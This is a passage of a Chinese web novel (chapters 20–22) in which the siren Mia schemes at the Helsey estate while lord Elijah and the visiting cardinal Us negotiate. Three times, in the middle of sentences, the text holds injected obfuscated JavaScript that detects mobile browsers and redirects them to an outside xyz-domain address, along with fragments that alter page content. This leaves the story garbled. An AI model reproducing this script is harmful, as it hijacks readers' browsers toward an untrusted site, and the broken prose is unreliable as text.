可以说,乌斯大神官此次是来谈判的,谈判的对象,有且只有一人,赫尔西岛真正的主人——以利亚·赫尔西。 红衣神官平和宁静的瞳孔将整个港口纳入眼中。 “请问以利亚大人在何处?” 跟随莱森一同来迎接他的人有很多,比如赫尔西岛首席文官卡伦·道恩以及黑骑士休伊,迎接的规格也很隆重,显示出了对皇室和教会的尊重。 但是,最该出现的那一个人,并不在其中。 那双让帝都很多人夜不能寐的棕色眼眸,未曾出现。 那个人不会不知道他此行的目的,却仍然高傲地不曾出现,摆足了轻慢的姿态。 莱森脸上的喜悦转为尴尬,求救的眼神看向了卡伦,他也不知道该怎么回答,是领主大人早上吩咐他带领众人前来码头迎接远道而来的客人。 他们都知道这件事该领主大人亲自出面,但没人敢提出异议。 笑眯眯的文官走上前来,“领主大人忙于公务,无暇前来,特令我们前来迎接,乌斯神官,请随我们前往赛欧庄园。” 卡伦作出“请”的手势,但红衣神官没有动。 从他脸上看不出不满,偏偏就是让其他人都捏了一把汗。 红衣神官一职,在教会中仅次于大神官,在场的谁也惹不起。 静谧蔓延之际,偏偏有人胆大到天不怕地不怕。 黑骑士休伊将他的重剑往地上一拄,动作很轻,架不住剑的重量,依然发出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15868264|175444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了很大的响声,沉闷的带有金属质感的声音从头盔中传出来,“乌斯神官,马车已经恭候多时了,请不要再犹豫。” 这是请吗,根本就是威胁! 随神官一起下船的人纷纷露出愤怒的表情,眼见着就要发作,红衣神官深深地看了一眼黑骑士,抬手制止了他们的诘问,终于动了。 他登上了领主府为贵客准备的豪华马车,车上只有他和莱森两个人。 这是以利亚的吩咐,让两个多年未见的旧识好好叙旧,非常贴心的安排。 有点儿过于贴心了。 卡伦神色复杂地望着马车,在旁人未曾注意的时候,敲了敲包裹住黑骑士的铁皮。 “你啊,怎么突然沉不住气了。” 黑骑士冷哼一声,骑上战马,随着浩浩荡荡的队伍往赛欧庄园而去。 “乌斯,这次是你过来,我很高兴。” 马车之内,莱森终于可以摘掉所有虚伪的面具,露出最纯粹最真实的笑意,以及从未有过的放松姿态。 两人相识于十多年前,那时莱森的外祖父刚刚去世,莱森从父亲雅克亲王的封地来到赫尔西岛,将名字从莱森·布里斯改为莱森·赫尔西,继任赫尔西岛领主。 赫尔西岛的一切于他而言都是陌生的,幸好有乌斯随行。 彼时尚且年少的乌斯已得到大神官与雅克亲王的赏识,辅佐莱森治理赫尔西岛,正是他更进一步的最好机会。 与其他地方辅佐者与年幼的领主一定会在领主长大之后产生矛盾不同,两人的关系始终十分融洽,甚至可以说是很要好的朋友。 直到发生了后来那件事—— 乌斯离开了赫尔西岛回到帝都,一路越级晋升直到位列四位红衣神官之一,他也被迫离开赫尔西岛,前往学院岛求学。 一去就是十年。 期间他们的书信一直未曾断绝。 此番是阔别多年的再见,他已经从懵懂的少年变为青年,但是他们对对方都没有生疏的感觉。 乌斯微笑看向他,“是我主动向陛下请求前来的。” “为什么?”惊讶的神情在青年的脸庞上一闪而过,然后迅速转为了然,“我知道了,是为了海妖猎人们的事吧。” “可以这么说。” 红衣神官回答的模棱两可,沉静的目光始终落在青年的脸上,看到他嘴角隐隐透露出的喜悦与忐忑,不着痕迹地将话题引到了他的身上。 “听说莱森大人您前些天被海妖袭击,如今看来似乎并无大碍?” 青年脸色微红,“我没事,一位善良的女士救了我。” “如此就好,不知那位善良的女士有没有受伤,如果受伤了,我可以为她治疗。” 红衣神官微微颔首,近一个月来赫尔西岛风云变幻,莱森未曾得空给乌斯写信,他也就不知道米娅的存在,更不知道—— “乌斯,多谢你的好意,不过领主大人已经为她治疗,她已无大碍,只是身体还有些虚弱,尚在赛欧庄园中静养。” “领主大人为她治疗?”红衣神官的惊讶藏也藏不住,他险些以为自己听错了,而青年的后半句话,更令他没有想到。 只是这时他已经意识到了自己的失态,便将剩下的话咽了回去。 “是的,幸好有领主大人出手,要是她因我而死,我永远也无法原谅自己。”青年知道他为什么而惊讶,怅然道,“所以我想,也许领主大人并没有我们想的那般冷漠无情,以前的事情,是不是有什么误会呢?” 莱森的话在乌斯的耳朵里走了一圈,却没被他听进心里。 他想,莱森还是太天真了,单纯的目光看不透那人的本质,他怎么会突然大发善心,其中一定有莱森不知道的缘故。 难道那个救了莱森的女人有什么问题? 20. 暗流(二) 米娅的面前放着三盏茶杯。 杯身绘着叶片花纹,白底绿叶,清新淡雅,与满目都是翠绿的花园很是相配。 石亭之中坐了两个人,她和她对面的男人。 还有一个站着的女仆。 为什么会有三个杯子? 因为就在刚刚,她的对面坐着另外一个人,黑色短发的青年既热情又耐心,为她详细介绍着风灵节的由来,以及风灵节当天宴会的传统。 清晨金色的阳光耀目却不刺眼,洒在他俊秀的半张脸上,照亮了他脸上复杂的神情,既有兴奋,又有紧张忐忑。 青年还在絮絮叨叨讲着往年风灵节宴会的趣闻,一直没有切入正题,但米娅听出来了,他希望自己作为他的舞伴出席。 以米娅的身份,她是没有资格参加这场宴会的,她只是一个普通人,没有显赫的家世,也没有丰厚的家产。 富与贵,一样都不沾。 但是现在不一样了,她救了莱森,甚至住进了赛欧庄园,不会有人再因为她的出身平凡而轻视她。 所以莱森为她带来了邀请函。 蓝色的邀请函就像阳光照耀下的海面,神秘又美丽。 这个节日原本是农神节,在大陆时代,是庆祝稻谷丰收的节日,进入群岛历之后,渔业和海上贸易成了最重要的收入,于是农神节变为风灵节。 人们相信,海面上的风将带来丰收的讯息。 莱森的介绍说到一半,最重要的话语还藏在最后蓄势待发,一个人的出现打断了他的话语。 以利亚从花园中的小径走来,银色的长发格外扎眼。 他对莱森说,乌斯神官乘坐的军舰即将到港,让莱森带领领主府众人前去迎接。 不是该他亲自去吗? 疑惑在莱森心底一闪而过,他没敢问出来,大概是知道问了也不会有结果。 好不容易鼓起来的勇气退去,他不敢违抗,于是恋恋不舍地离开了花园,期间不住回头,却只看见领主大人姿态优雅闲适地在他的位置上坐下。 女仆捧上新的茶杯。 石桌上的杯子变成了两盏,莱森的杯子被女仆清理掉。 米娅不是莱森,她更喜欢有话直问,“领主大人不去港口吗,我虽然是玛利亚联盟的人,但也听说过神官在布里斯帝国的超然地位,您不亲自出面,是不是不太好呀?” 她的笑容妩媚动人,除了脸色还泛着一点儿不太正常的苍白,饱满的双唇不如从前那般红润之外,似乎与常人无异。 “不需要。” 半晌,就在米娅觉得他不会回答自己之际,冷漠高贵的领主大人终于开了尊口。 一如既往的惜字如金。 米娅轻轻挑眉,这么硬气,果然如传闻中说的一样,他不似其他岛屿的领主那般受到皇室和教会的钳制。 “看来是我多虑了。” 素白纤长的手指拿开杯盖,执起茶杯,热气与花茶的香气一起蒸腾上升,在半空中形成轻烟。 春日的早晨尚有些余寒,温热的茶水顺着喉咙缓缓淌下,暖意从胃部逐渐扩散到四周,驱散了试图从皮肤侵蚀进来的寒意。 他们上一次见面,还是在尤妮袭击莱森的那一天,面前坐着的男人将受伤的自己抱回了庄园之中。 在庄园的客房里,她听到男人对家臣说的话,诧异盈满了眼眶。 秘密? 除了她其实是海妖这一条之外,她自己都想不出来,她还有什么秘密。 而且,他既然知道她有问题,为何还要将她留在庄园中呢,是因为他所认为的“秘密”足够他冒险,还是自信无论发生什么事情他都能解决? 不管是哪个原因,自己留下来的目的算是达到了。 唯一有些头疼的是,她以为自己既然已经住进了赛欧庄园之中,那两人想必时常能见到面。 然而事实并非如此。 从她“醒”了之后,一直到现在,男人再没有出现过,就像故意躲着她一样,连她主动说想要向他当面道谢,得到的回复也是—— 领主大人很忙,没空。 赫尔西岛的大小事务,几乎都被卡伦和黑骑士一手操办了,除了两大海妖猎人组织首领同时身亡这种事情能让他出面之外,其他时候人们根本见不到他的影子。 他哪有这么忙碌,分明就是在躲着自己。 这可不行。 想明白这一点之后,她就立刻想到了解决办法。 而且是很有效的办法,这不,他就出现在了自己面前。 茶杯被轻轻地放在茶托上,陶瓷相碰,发出一声清脆的响声,如泉水叮咚,很是悦耳。 寂静无声的庭院里,米娅托腮看着面前的男人,嘴角噙着浅浅的笑,“领主大人找我有事吗?” 带着手套的手随意地搭在石桌上,黑手手套的背面用金色的丝线绣着赫尔西家族的家徽,金色的衔尾蛇栩栩如生,鳞片仿佛都闪着光。 以利亚用探究的目光打量着她,忽然想到了那一天。 婀娜的身姿躺在甲板上,生机随着鲜血一起流逝。 他不该出手的。 或许要花费一些时间,但黑骑士以及卫兵足以将那只嚣张的海妖捉住,海妖对莱森的攻击休伊也会立刻化解。 但他还是出手了,那么多的鲜血,如果他不出手,躺在甲板上的人会在很短的时间内死亡。 冷漠是他的本能。 可是这个人不一样,她能激起他心底久未漾起的涟漪,所以在那一瞬,他没有经过太多的思考,就出现在了甲板上。 回过神来,女人腹部的伤口正在愈合,她睁开那双深蓝色的眼睛,就那么一直看着他,没有故作的媚态,也没有灿烂的笑容,仿佛平静的海平面。 但是他感受到了,在海面之下,有庞然大物正在展开翅膀。 那是危险的气息。 那时他应该出手的。 她脖子的很细,也很软,他还记得那种触感。 危险应该被扼杀在摇篮里,这同样是本能。 令人厌恶的本能。 杀了她,一定能摆脱很多未知的麻烦。 只是这一回,本能被毫不客气地压制下去。 从来没有哪一刻他有如此清晰的预感,如果杀了她,自己一定会后悔。 结果就是,不仅没能摆脱麻烦,他还将麻烦带回了赛欧庄园,放在了眼皮子底下。 而麻烦果然就是麻烦,在他刻意不与她见面的这些日子,她倒真把自己当作了这个庄园的女主人,过得好不惬意。 而且,从前自己的警告,她似乎完全忘了。 以利亚冷淡的视线看向侍立的女仆,聪明的女仆退出了亭子,消失在花园之中。 安静再度袭来,这一次,周围空无一人。 “我说过,不要再出现在莱森面前。” “领主大人怎么冤枉我,我从来没有主动出现在莱森大人面前过,明明都是他来找我的。”语调很轻,有点儿委屈。 “你可以拒绝。” 这些天,他在高塔之上,不止一次看到两人在花园中散步,有说有笑。 女人嘴角微勾,笑得狡黠,像只计谋得逞的狐狸,“我要是拒绝了的话,是不是直到我搬出庄园,以利亚大人都不会再出现在我面前了。” 没有料到的答案,“你是为了见我?” 米娅点点头,双眸水润迷人,仿佛含着情意,她说:“是,大人既然要躲着我,我只能出此下策,希望莱森大人知道后不会怪我。” “以他的性格,你只要说两句好话,他又怎么会怪你。”以利亚的脸色忽然变了,很细微的变化。 大概就是原本冷漠的嘴角往下掉了一点儿这么细微。 米娅一直看着他,所以发现了这一变化。 她有些费解,他生气了吗,可是生的是哪门子气呢,他不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15874684|175444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应该高兴吗,自己为了见他一面费尽心机。 还是说,他在怪自己利用了莱森? 不对,米娅在心底暗暗摇头,从以前来看,他根本不在意莱森的感受,那是为什么? 她没空细想了,因为说完那句话之后,淡漠到一切都不放在眼里的领主大人直接起身向外走去,不给她反应的时间。 回过神来时,她已经冲上前去抓住了他的手腕。 嘶,好冰,他是刚从冰窖里走出来吗? 在以利亚看不见的地方,米娅撇了撇嘴。 她仰起头,苍白的脸对着他微笑,“您不想知道我为什么一定要见到您吗?” 以利亚垂眸看她,真是一张美丽的脸,即使苍白虚弱也不能掩盖她的魅力,难怪莱森会轻易地沦陷。 女人掌心的温度源源不断地从手腕处传来,像火炉一样,灼烧着他的皮肤,他忍住甩开她的冲动,冷冷道:“不想。” “因为我想……啊?” 他拒绝得毫不犹豫,完全出乎米娅的预料,准备好的说辞也说不出口了。 茫然的神色出现在她的脸上,很难得,看着有点儿可爱,温暖的气息顺着手腕蔓延至全身,鼻尖嗅到了很浅的芬芳香气,似乎是从她身上散发出来的。 那馨香有点儿熟悉的感觉,像是从久远的记忆中飘出来的一样,放松了他的心神。 女人懵懵的,无辜的眼睛看着他,好像在控诉,你怎么能不想呢?! 她心里现在一定也在这么想吧。 紧绷的嘴角不禁微微上扬。 “领主大人,您笑了,真难得。” 事实上,米娅真是那么想的。 他怎么能不想呢?! 难道是我的语气还不够吊人胃口? 她有点迷茫,心想,还是莱森好,心思都写在脸上,哪像这个冷冰冰的男人,连笑容都不舍得施舍一个。 简直就像心有灵犀,她刚这么一想,就看到了年轻的领主嘴角的笑意,惊讶从她眼中一闪而过,调侃的话下意识就说了出来。 笑容瞬间消失,男人挣开她的手,拉开两人之间的距离。 黑色如海藻的卷发从他的指间滑过,仿佛依依不舍般残留了一缕,勾住了手套上繁复的宝石装饰。 男人皱眉看着,当他试图收回手时,那缕秀发随着他的动作反而缠绕得更紧,果然就像海藻一样,抓住了溺水的人之后,就会越缠越紧,直到呼吸和心跳都停止。 在他试图强行扯断这缕发丝之前,柔美的双手握住了他的手,女人的语调慵懒,茫然和惊讶的痕迹在她脸上再寻不到。 她扬起了好看的细眉,笑容动人,“大人,让我来吧,强行扯断的话,我的头皮会疼的。” 说着,她真的低下头,认真地解起了那缕与手套纠缠不清的秀发。 以利亚看着她静止的身影,她的手还握着他的手,有些用力地捏紧了,似乎是因为紧张,然后,她放开了他的手。 缠绕的卷发已经解开,从孤零零的宝石身上回到了黑色而有光泽的丛林之中。 米娅抬起头,美丽的脸上笑容平静,仿佛刚才什么也没有发生,她提起裙边,微微伏身,“大人,解开了。” 她似乎打算离去,向外走了两步,又转过身来,“大人,虽然您不想知道,但我还是要说,我想见您是因为,我想告诉您,那天迷迷糊糊中,我听到了您与卡伦大人的对话。” 她顿了顿,笑容忽然一变,那些矫揉造作的媚笑从脸上褪去,只余了一点儿怅然,“我知道您始终不信任我,但我还是想说,如果我身上真有什么秘密的话,也许连我也蒙在鼓里。” 半真半假的话最是迷惑人,她眼中的真诚绝非伪装,她又说:“其他人误解我没关系,唯有您的误解,会让我感到难过。” 说完这句话,她似抓不住的风,翩然离去。 男人注视着她的背影,眼神逐渐变得幽深。 21. 暗流(三) “米娅,你到底打算怎么救我出去,我在这里待得都快发霉了。”少女尤妮瞪着牢房外面的身影,几近崩溃的脸上终于没了往日的嚣张,她抓起一缕胸前的头发,“你看,我的头发已经干枯了,再这样下去,会很难看的。” 她很委屈,委屈得快哭出来了。 到底还是个少女,一点儿没关心自己的安危,在意的还是自由和头发。 米娅嘴角微弯,“我还是喜欢你叫我米娅姐姐的样子。” 意义明确的暗示。 少女握紧拳头,咬了咬牙,从牙缝里挤出来四个字:“米娅姐姐!” 这是求人的态度吗,不知道的,还以为她要吃了她呢。 米娅掩唇轻笑,但她就是最喜欢尤妮这一点,敢爱敢恨,鲜活生动,什么都表现在脸上,很像她少女时的样子。 而现在的她,虽然也能装出这副模样,但内心早已是千疮百孔了。 “别笑了,你还没有回答我呢,什么时候救我出去?”尤妮毫无形象地挠了挠头,一脸希冀地望向米娅。 只要她愿意,自己现在就能出去,但是她为了避免被怀疑,似乎没有这个打算,一直让自己等待机会。 自从被抓之后,自己一直被关在这里,没有人来审讯,更没有人来理会,天天跟这些怕她怕得要死的看守大眼瞪小眼。 真的很无聊。 还以为以利亚·赫尔西或者莱森·赫尔西会出面呢,结果他们就像完全忘了她的存在一样,曾经苦思冥想的应对之策都没派上用场,唯一的乐趣就是米娅偶尔出现一下,关心她的情况。 少女是一只耐不住寂寞的海妖,她想念自由的空气,想念潮湿的海风,更想念奥修斯岛上的伙伴。 “快了。”米娅走到牢房门口,旁边是双目无神浑浑噩噩地重复着机械巡逻动作的看守们,她从他们身边走过,却无人看她一眼,“从绿恩岛来的士兵已经到了,除了护卫神官乌斯,他们还有一项重要职责,押送海妖猎人组织首领死亡一案的凶手前往绿恩岛受审,顺便,也会将你带往绿恩岛。到了海面上,就是我们的主场。” 少女有些不满,“那还要等到什么时候去?” “不会太久,乌斯正在和以利亚商量海妖猎人组织的去留,等他们商量出结果来,那些士兵就会分为两队,一队带着你们离开,也就是这两天的事情了。等你出去了,直接回奥修斯岛吧,赫尔西岛的事情已经不需要你了。” “米娅!”眼见婀娜的身姿即将消失在门口,尤妮赶紧叫住她,蔚蓝的眼眸中闪过复杂的情绪,“一定要用那种方法吗?” 米娅转身,沉着脸,“你怎么会知道?” 少女低下头,“出来之前,迪伦告诉我的。” “多嘴。”米娅冷声道,她不愿多谈这个话题,“不必劝我,这是最有把握的办法。” 声音飘渺,转瞬即逝。 “可是,你明明还想着他——”尤妮慢慢蹲了下去,声音越来越低。 她的话语没有得到回应,米娅已经走了,巡逻的守卫双目逐渐清明,他们不知道这里曾经有一场对话,继续不知疲倦地巡逻。 很偶尔的时候,他们会小声谈论起赛欧庄园中的变化,这时,尤妮总能听到米娅的名字出现在他们的对话中。 莱森对她的情意毫不掩饰,以利亚与她之间,也有一些说不清道不明的传闻。 沉寂已久的赛欧庄园因为她的到来,忽然变得热闹了起来。 尤妮知道,一切都在朝着她希望的方向前进,甚至顺利得超出了她们的预想,可是,米娅她,真的会开心吗? 海妖少女想到了自己还小的时候。 她整天无忧无虑地跟在米娅的身后,那时米娅还不是海妖一族的祭司,却已经是公认最厉害的海妖,是她仰慕的对象。 尤妮黯然垂眸,如果没有发生后来的事就好了。 如果没有发生后来的变故,她们现在还会在奥修斯岛无忧无虑的生活,不需要来讨厌的人类世界冒险,米娅也不需要做出那样的牺牲。 就算米娅再怎么强调她早就忘了那个人,可是从前在岛上,海妖少女还是能在不经意间看到她在生命之树上向某个方向眺望。 海妖少女依稀记得,那个方向就是当年那个人类离开的方向。 *** 当米娅从地牢中出来之时,赛欧庄园的会客厅中,代表赫尔西岛的卡伦和代表皇室与教会的红衣神官乌斯正处于剑拔弩张的气氛之中。 “将两个海妖猎人组织整合为一个,并且将所有资产移交给教会,乌斯神官觉得这是可能的吗?” 卡伦脸上没了笑容,脸色阴沉地看着手上的信笺,信件的最上方一排闪着金光的枫叶花纹,是布里斯帝国皇室专用信纸的纹样。 红衣神官左手持书,右手放在胸口靠近心脏的位置,微微弯腰致意,“这是陛下和大神官共同的决定。” 书信的最后,是一个签名和一个红色印章,签名来自现任大神官,红色印章则是布里斯帝国女皇陛下的私人印章。 一封决定海妖猎人组织未来命运的信件,就这么被卡伦拿在手里。 原本应该是一道从帝国发出的命令,不能质疑,一经发出必将立即执行。 但因为海妖猎人组织的去留与赫尔西家族也有着莫大的关系,他们最终选择了更加曲折的方式,由乌斯带着信件前来,在双方达成一致之前,信上的内容将作为秘密存在。 因为他们面对的不是一个普通的领主,而是以利亚,有史以来最强大的渡水者,一个曾经以一己之力杀死将近三分之一隶属于皇室的强大渡水者的可怕存在。 卡伦冷笑,“就算是陛下和大神官,如此重要的事情,是否应该先知会我们一声呢?” 红衣神官神色从容,他一贯如此,无论面对多棘手的情况都能淡然应对,“在下将这封信呈于以利亚大人,已经是让步。” 他看向坐在会客厅正前方的男人。 唯有两次,他失去了从容淡然,两次都与这个男人有关。 一次是男人将他从赫尔西岛的领主府驱逐出去的时候,还有一次—— 男人的视线看了过来,年轻俊美的脸庞面无表情。 红衣神官垂下眼眸,岁月真是极不公平,这么多年过去,他的眼角已经生出了皱纹,男人却仍像多年前他们第一次相见时那般年轻,只是少了一些少年稚气。 他是否不会老去? 卡伦将信件呈上,以利亚冰冷的双眸扫了一眼信上的内容,又递还给卡伦,他终于站了起来,就像冬眠的毒蛇睁开了眼睛。 “我可以答应。”他的声音也是冰冷的,他看着红衣神官,红衣神官却觉得他的视线好像没有落在自己身上,“但我有一个条件。” …… 米娅从地牢之中出来时,外面正是个艳阳天。 乌斯的到来作为赫尔西岛上最近的一件大事,吸引走了绝大部分注意力,那些投射于她身上的好奇视线终于少了很多,她才得以在白天支开女仆偷偷到地牢中与尤妮一见。 这也许是她们在赫尔西岛上的最后一面。 她听到了尤妮最后的那句话,却只当没有听到。 我还想着他? 开什么玩笑,我连他长什么样子都忘了,怎么会还想着他。 她没把这话放在心上,这么多年过去,以此事来调侃她甚至嘲讽她的不在少数,早就激不起她心中的涟漪了。 米娅慢慢向古堡的方向走去,耳边渐渐传来水流之声。 古堡的大门之前有一处喷泉,听到水声,说明她已经走到了正门附近。 穿过绿荫环绕的长廊,修长挺拔的身影伫立在喷泉中心的神像之下,仰头看着神像五官模糊的脸,年轻俊秀的脸庞微微出神。 “莱森,你没去议事厅吗?” 莱森赫尔西回过神,心心念念的人出现在了面前,嘴角笑意轻盈,眉间一点儿好奇。 他赧然垂首,“我不太方便出现。” 他和红衣神官乌斯是挚友,他是以利亚的外甥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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所以那些早晨想告诉她的话,这会儿却一个字也说不出来了。 无法面对自己的怯懦,莱森急急忙忙转身。 正要离开之际,身后传来一声痛呼,米娅想要拦住他,一个没留神被路边的荆棘划破了手背。 血珠从伤口处冒出来,莱森慌了神,握住她的手腕,从身上找出一条洁白干净的手帕。 “没关系的,只是划破了一点儿皮。” 受伤的是她,安慰人的也是她。 她看着他,嘴角溢出浅笑,真是毫不掩饰的单纯心思,和另一个人完全不一样。 一想到另一个人,那道独一无二的冰冷视线仿佛又落到了自己身上,米娅还以为是错觉,直到她抬起了头。 四道身影刚从古堡中走出来。 赫尔西岛的领主走在最前面,乌斯和卡伦紧随其后,最后面是黑骑士休伊。 从卡伦和乌斯的神情来看,这场会谈取得了一个圆满的结果。 银发领主停下来时,乌斯和卡伦正在寒暄。 “乌斯神官,虽然您对赛欧庄园并不陌生,但这些年庄园中的变化倒也不小,请允许我为您介绍。”卡伦又恢复了笑眯眯的样子。 乌斯也微笑道:“有劳了。” 两人话音刚落,就见最前面的以利亚停了下来,视线落到了喷泉的方向。 两道人影出现在那里,一高一矮,像竖琴的琴弦。 高的那个神情焦急,握着另一个人的手腕,从他们的角度看去,两人几乎紧紧依靠在一起。 矮的那个正看向他们的方向,美艳动人的脸上有几分惊讶。 只需要一眼,乌斯就猜到了这个女人的身份。 难怪会让莱森沉沦,她不需要多做什么,只需要站在那里,就足够了。 红衣神官的感慨并没有持续太久,因为他看到女人忽然挣脱了莱森的手,仿佛是在心虚,而那双美丽的眼眸,一直望着这边。 好像——在与谁无声对话? 红衣神官看向身侧的卡伦,他的脸上依然带着笑意,似乎觉得面前的这一幕很有意思,别的,再没有了。 再转身看黑骑士。 好吧,他不应该多此一举,那张永远藏在盔甲下的脸实在是看不出什么,而且他可以确信,不会与他有关。 那就只剩了——以利亚?! 22. 暗流(四) 微风吹动米娅卷曲的长发。 隔着阳光,她看见了男人清冷的银发。 俊美的脸上只有淡漠的表情,向他们投来冷淡的一瞥,棕色眼眸倒映着状似依偎的身影,视线落在他们交叠的手臂。 温暖的春日暖阳里,米娅却感觉到了无边的冷意,冻得牙齿都在发抖。 以利亚·赫尔西面无表情地站在不远处,他看见了一对男女颇为亲密的动作,没有任何反应,似乎与他无关。 但米娅就是感觉到了,他在不满。 那道视线简直比冰锥还冻人。 米娅不明白,他在不满什么? 难道是—— 她试探性地挣开了莱森的手,冰冷的视线瞬间消失。 这是—— 她惊讶地看过去,俊美如天神的男人神情始终不变,仿佛在看戏一样,看着眼前上演的闹剧,可是他的嘴角却慢慢勾起了一个笑容。 眼底的冰山也融化了一半。 他们的视线交错,一个错愕,一个傲慢,但谁也没有移开,就这么看着对方,空气中仿佛都带着火花。 如果有人看过来,大概能注意到两人之间的暗流涌动。 可惜在场的四人,莱森还没发现自己身后的异样,他仍在关心着米娅的伤口,黑骑士还是那副模样,谁知道他在想什么。 只有乌斯和卡伦看到了她的神情的细微变化,但他们只能看见以利亚的背影,只伫立了片刻,就转身走上另一条路的背影。 “莱森,我有事要找领主大人,抱歉。” 米娅提起裙摆,迈着轻盈的步伐匆匆跟了上去,路过乌斯等人之时,向他们点头致意。 莱森这才发现身后的众人,脸又红了起来,他想要跟上前去,却被卡伦叫住,“莱森大人,我正说陪乌斯神官游览庄园,您来了正好,我们一起吧。” 难以拒绝的邀请,莱森只好停下。 这般风雅的活动一向与黑骑士休伊沾不上边,他默默离开,留下三人在原地,看着以利亚和米娅离开的方向心思各异。 莱森心中担忧,米娅找领主大人是有什么事呢,她一向大胆,要是说了一些触怒领主大人的话可怎么办? 乌斯眼中闪过算计的光芒,这位救了莱森的女士,和他想象的不太一样呢。 至于卡伦—— 卡伦维持着他的假笑,心里却无奈地念叨,不是,他们为什么搞得跟偷情似的,还要我这个心累的下属打掩护。 他们在想些什么,米娅已经无暇顾及。 她沿着以利亚离开的小路一路小跑追过去,直到气喘吁吁,连他的影子都没见着。 为了不暴露自己,她一直维持着普通人类的身份,试想一个不久之前受了重伤正在静养中的普通人类,怎么经得起折腾。 她只觉得头晕眼花,见了鬼了,人呢? 算了,不追了。 她这样想着,扶着大理石廊柱上的手就被某个神出鬼没的人握住了,那人冰凉的指尖正好覆盖在她的手腕上。 刚才另一个人握住的手腕。 “什么事?”男人从廊柱后走了出来。 原来他藏在这里,高大宽阔的廊柱的确是个好的藏身地点,难怪她没发现。 米娅喘着气,试图扬起一个从容的微笑,可惜这副还没恢复好的身体实在不允许,最后的效果是,一个比哭还凄惨的笑容。 很委屈的样子。 而且她自己没有意识到。 以利亚愣了一下。 这样的她实在少见,但却更加真实,他并不讨厌。 独属于她的体温在掌心流转,将他身上的冰冷也驱散,热血从胸口流过的感觉令人陌生,似乎只在梦中存在。 以利亚皱起了眉。 也许在外人看来,他冷漠无情,仿佛神殿中的神像般高高在上,不通晓人类的感情,但事实绝非如此。 他曾在年少时游历群岛,见证过形形色色的人与故事,对人类潜藏在内心深处的情绪甚至比大多数人都要看得清楚,若不是因为那件事,或许—— 忆起往事,他的眉皱得更深。 只是这副模样落进米娅眼中,便成了他对自己沉默不满,于是她收起了笑,无措地望着他,试探着将手往回缩,“我想向您解释刚才的事情。” “为什么要向我解释?”以利亚淡淡问道,似乎不以为意,却将她的手腕握得更紧。 “您说过,不希望我和莱森大人过多接触。”米娅放轻了声音,不知道是因为周围过于安静,还是因为害怕,“刚刚只是个意外,我……” 她的话语因为男人的突然靠近而中断,男人手上用力将她拉了过来,然后压在了廊柱上。 分不清是这边的人更冰冷还是身后的大理石柱子更冰冷,米娅眼前一暗。 地上那道修长的影子慢慢靠近,直到影子将她的身躯完全覆盖住,日光被男人挡住。 微风拂过,带来些许海面上的凉意。 米娅惊诧抬头,还没反应过来,廊柱的背后传来了脚步声。 脚步声不急不缓,伴随着几句窃窃私语。 “领主大人和她在亭子里……你没看错吗?” “错不了,况且你想想,要不是领主大人对她不一般,她怎么能留在庄园里。” “有道理。” “……” 透露出隐秘兴奋的说话声跟随着脚步声渐渐远去,米娅后知后觉,她们谈论的是早上在石亭中发生的事,不由得脸红了一瞬。 当时的情形,在外人看来,确实过于暧昧了。 还好她们没瞧见廊柱后的情形,不然更说不清。 想到这里,她终于明白以利亚的举动是何缘由,他似乎也不希望被人瞧见他们单独在一块。 可是为什么呢? 从监狱中他的反应来看,他根本就不在意这些绯闻,此类传言于他也并无损害,总不可能是担心莱森知道吧? 米娅望进他的眼眸中,那一抹隐于暗影中的棕色令她想起了海边的棕榈树。 恍惚之间,眼前隐约出现了一个画面,身着白金长袍的男人坐在树下,弹奏着手中的里拉琴。 当她想看清男人的正脸时,下巴处忽然传来痒痒的感觉,将她带回现实之中。 皮质手套轻轻抚摸着尖细的下巴,不一会儿就蹭出了红痕。 隔着手套,依然能感觉到以利亚手指的冰凉。 以及,突然增加的力气。 下巴传来痛感,米娅皱了一下眉,不禁向后躲去,但她忘了背后是冰冷的石柱,根本无从躲避。 以利亚睨了她一眼,沉静的眼中充满了警告的意味。 隐隐的力量波动从他手心传来,寻常人感觉不到。 某一瞬间,米娅也曾想过,这会不会是她动手的好时机,但这个念头一出现,就被她否定了。 以利亚从来没有对她卸下过防备,她仍需等待。 “大人……” 痛苦与忍耐的表情同时出现在美艳的脸上,有一丝不和谐的感觉,她的声音很轻,像羽毛拂过他的耳朵。 痒痒的,就像她这个人一样,用最无辜的眼神与和无辜沾不上边的言行引得男人疯狂。 他们离得很近,从远处看,两个人好像相拥在一起。 事实也相差无几。 “疼……”她终于忍耐不下去,深蓝色的眼眸中涌起恼意。 以及泪水。 以利亚皱了皱眉,指尖的力道一松,俯身下来。 疼痛还残留在泛红的下巴上,米娅似是呆住了,随着冰冷的呼吸轻轻地打在脸颊上,像寒冬天的冷风刮过,她轻颤了一下,呼吸一滞。 心中无端想起了一些话。 两百多年以来,从渡水者出现的那一刻,就一直有一个争议。 他们,究竟还能不能算作人类? 根据已有的记载,渡水者的自然寿命最长能达到两百年。 鉴于渡水者出现也不过两百来年,这个纪录很有可能被打破。 已经是普通人类的两倍甚至三倍了。 而且,即使是能力最没用的渡水者,身体的强度也远超普通人类。 想想,确实会让普通人类很不甘心呢,难怪总会有人说他们是怪物。 